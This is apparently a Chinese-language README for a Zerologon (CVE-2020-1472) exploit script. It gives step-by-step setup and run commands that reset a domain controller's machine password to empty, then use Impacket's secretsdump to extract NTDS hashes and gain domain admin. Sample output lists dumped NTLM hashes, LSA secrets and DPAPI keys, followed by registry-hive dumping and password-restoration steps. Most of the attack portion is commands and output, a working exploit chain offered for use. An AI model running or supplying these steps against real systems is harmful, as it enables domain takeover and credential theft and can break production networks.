CVE-2020-1472 的检查与利用代码,又名 Zerologon
测试域控制器是否易受 Zerologon 攻击,如果存在漏洞,则会将域控制器的账户密码重置为空字符串。
注意: 此操作很可能在生产环境中导致问题(例如 DNS 功能、与复制域控制器的通信等);目标客户端将无法再对域进行身份验证,只能通过手动操作重新同步。如果你想了解更多关于 Zerologon 攻击如何破坏系统的信息,感谢 @_dirkjan 的出色工作,你可以阅读 此处
Zerologon 的原始研究与白皮书由 Secura(Tom Tervoort)撰写 - https://www.secura.com/blog/zero-logon
它将尝试执行 Netlogon 认证绕过。当域控制器已打补丁时,检测脚本会在发送 2000 对 RPC 调用后放弃,并认定目标不存在漏洞(假阴性概率为 0.04%)。
利用仅在域控制器使用 Active Directory 中存储的密码来验证登录尝试时才会成功,而不是使用本地存储的密码,因为以这种方式更改密码时,仅更改了 AD 中的密码。目标系统本身仍会本地存储其原始密码。
需要 Python 3.7 或更高版本、virtualenv、pip 以及 修改版的 Impacket 库:nrpc.py (/impacket/dcerpc/v5) 来自 GitHub 的最新版 Impacket(已添加 netlogon 结构)。
git clone https://github.com/SecureAuthCorp/impacketcd impacketpwd
~/impacket/
virtualenv --python=python3 impacketsource impacket/bin/activatepip install --upgrade pippip install .~/impacket/
cd examplesgit clone https://github.com/VoidSec/CVE-2020-1472cd CVE-2020-1472pip install -r requirements.txt该脚本可用于针对域控制器或备份域控制器。它也可能对只读域控制器有效,但尚未测试。
域控制器名称应为其 NetBIOS 计算机名。如果此名称不正确,脚本很可能会失败并显示 STATUS_INVALID_COMPUTER_NAME 错误。
假设域控制器名为 EXAMPLE-DC,IP 地址为 1.2.3.4,按如下方式运行脚本:
./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4运行脚本应导致域控制器的账户密码被重置为空字符串。
此时,你应该能够运行 Impacket 的 secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR(或者你也可以使用空哈希:-hashes :31d6cfe0d16ae931b73c59d7e0c089c0)来提取 NTDS.DIT 数据(NTLM 哈希和 Kerberos 密钥)。
这将使你获得域管理员权限。大获全胜
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] 成功:Zerologon 利用完成!域控制器账户密码已设置为空字符串。
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
恢复:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] 目标系统 bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] 转储本地 SAM 哈希 (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] 用户 WDAGUtilityAccount 的 SAM 哈希提取失败。该账户没有哈希信息。
[*] 转储缓存的域登录信息 (domain/username:hash)
[*] 转储 LSA 机密
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. .....a....Q
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] 清理中...
> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
对于域控制器继续正常运行,重新安装原始密码哈希是必要的。
在获得域管理员权限后,你可以使用从 secretsdump 获取的凭据通过 wmiexec.py 登录到目标域控制器,并执行以下步骤:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
运行:secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
这应该会显示机器账户的原始 NT 哈希。然后,你可以使用此处提供的 reinstall_original_pw.py 脚本将该原始机器账户哈希重新安装到域中:https://github.com/risksense/zerologon/。有时可能需要运行多次才能成功。
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
或者,你也可以使用以下恢复过程:https://github.com/dirkjanm/CVE-2020-1472